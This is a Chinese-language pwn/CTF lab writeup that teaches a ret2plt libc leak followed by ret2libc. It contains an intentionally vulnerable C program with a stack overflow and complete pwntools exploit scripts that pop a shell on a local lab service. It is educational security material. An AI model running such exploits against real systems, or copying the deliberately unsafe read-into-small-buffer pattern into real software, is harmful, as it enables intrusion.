Lab 網址

前言

昨天我們示範了如何在沒有拿到 libc base 且程式是動態鏈結的情況下,透過 PLT 拿到 shell。不過那是因為程式一開始就有呼叫一次 system 函式,使得在編譯過程中產生了 GOT 和 PLT。如果沒有呼叫過該函式,是不是就無法被攻擊了呢?其實不是,因為我們可以透過 PLT 和 GOT 嘗試取得程式中的 libc base,並進行 ret2libc 攻擊。

plt & got leak libc

如之前所提,GOT 會存儲外部函式的地址。即便我們不知道具體的 libc base,也可以將某些函式的 GOT 地址作為參數,傳遞給可以輸出資訊的函式,如 puts,來洩露 libc 地址並計算出 libc base。具體上傳遞參數的過程會像這樣:puts(got_address)

這裡需要注意,若程式的 RELRO 是 Partial,我們需要函式的地址被解析完成後才能使用。有些讀者可能會問:既然我們不知道 libc base,那要如何呼叫 puts 呢?實際上,我們可以直接呼叫 PLT,因為 PLT 會自動從 GOT 中取出地址,也就是 libc 內部的函式地址。如此一來,我們就能成功呼叫 puts 並取得 libc base,進而進行簡單的 ret2libc 攻擊。

Lab

查看以下原始碼:

 1#include<stdio.h>
 2#include<stdlib.h>
 3#include<unistd.h>
 4
 5void pop_rdi(){
 6    __asm__("pop %rdi; ret;");
 7}
 8
 9int main(){
10    setvbuf(stdout, 0, 2, 0);
11    setvbuf(stdin, 0, 2, 0);
12    setvbuf(stderr, 0, 2, 0);
13    char message[0x10];
14    puts("Welcome to challenge!");
15    puts("Leave a message: ");
16    read(0, message, 0x100);
17    return 0;
18}

使用以下指令進行編譯:

1gcc src/ret2plt_adv.c -o ./ret2plt_adv/share/ret2plt_adv -fno-stack-protector -no-pie

writeup

這次的程式與前幾天的不同,分析後我們發現有一個 read 的 overflow,可以用來控制程式的執行流。不過因為是動態鏈結,gadgets 可能不足以構造完整的 ROP chain,所以我們需要從 libc 中尋找 gadgets。然而,要使用 libc,必須先泄露 libc base,但程式中沒有像格式化字串或 out-of-bounds (OOB) 等可直接泄露 libc 的漏洞。幸運的是,我們可以控制程式的執行流,並且程式內有 puts 函式,因此我們可以將某個函式的 GOT 地址作為參數傳入 puts,取得該函式的 libc 地址,進而計算出 libc base。

有了 libc base 後,我們可以再一次輸入並觸發 overflow,完成 ret2libc 攻擊。值得一提的是,我特地加了一個 pop rdi; ret,以便傳遞參數。

所以我們要確認以下資訊

  • puts 的 PLT 地址
  • 已被解析的某個函式的 GOT 地址
  • main 的地址(泄露 libc 後返回重新輸入)

這些資訊可以用 objdump 輕鬆找出。

image

我們來測試一下是否能成功泄露 libc 地址,並接上 gdb 計算 offset。

在測試之前,因為要針對 libc,所以需要更換 libc,具體操作可參照Day13-How to change libc & ret2libc

需要控制流的 padding 為 0x10+0x8=0x18

image

接下來,使用以下 script 進行測試:

 1from pwn import *
 2
 3r = process('./ret2plt_adv')
 4context.terminal = ['tmux','splitw','-h']
 5gdb.attach(r)
 6setvbuf_got = 0x404010
 7puts_plt = 0x0000000000401030
 8pop_rdi = 0x000000000040114a
 9main = 0x00000000040114f
10payload = b'A' * (0x10 + 8) + p64(pop_rdi) + p64(setvbuf_got) + p64(puts_plt) + p64(main)
11r.sendlineafter('Leave a message: ', payload)
12libc = u64(r.recvuntil(b'\x7f').strip().ljust(8, b'\x00'))
13print(hex(libc))
14r.interactive()

我們可以成功泄露一些資訊,並確認 offset 為 0x815f0

image

image

接下來,將泄露到的地址減去 0x815f0 來測試,發現確實成功泄露到 libc base。

image

由於程式最後接回了 main,因此有再次輸入的機會,此時就可以進行 ret2libc,具體步驟可參考 Day13-How to change libc & ret2libc 的步驟

完整 exploit:

 1from pwn import *
 2
 3# r = process('../ret2plt_adv/share/ret2plt_adv')
 4r = remote('127.0.0.1',10008)
 5setvbuf_got = 0x404010
 6puts_plt = 0x0000000000401030
 7pop_rdi = 0x000000000040114a
 8main = 0x00000000040114f
 9payload = b'A' * (0x10 + 8) + p64(pop_rdi) + p64(setvbuf_got) + p64(puts_plt) + p64(main)
10r.sendlineafter('Leave a message: ', payload)
11libc = u64(r.recvuntil(b'\x7f').strip().ljust(8, b'\x00')) - 0x815f0
12log.info('Libc: ' + hex(libc))
13system = libc + 0x50d70
14bin_sh = libc + 0x1d8678
15ret = pop_rdi + 1
16payload = b'A' * (0x10 + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
17r.sendlineafter('Leave a message: ', payload)
18r.interactive()

solved!!

image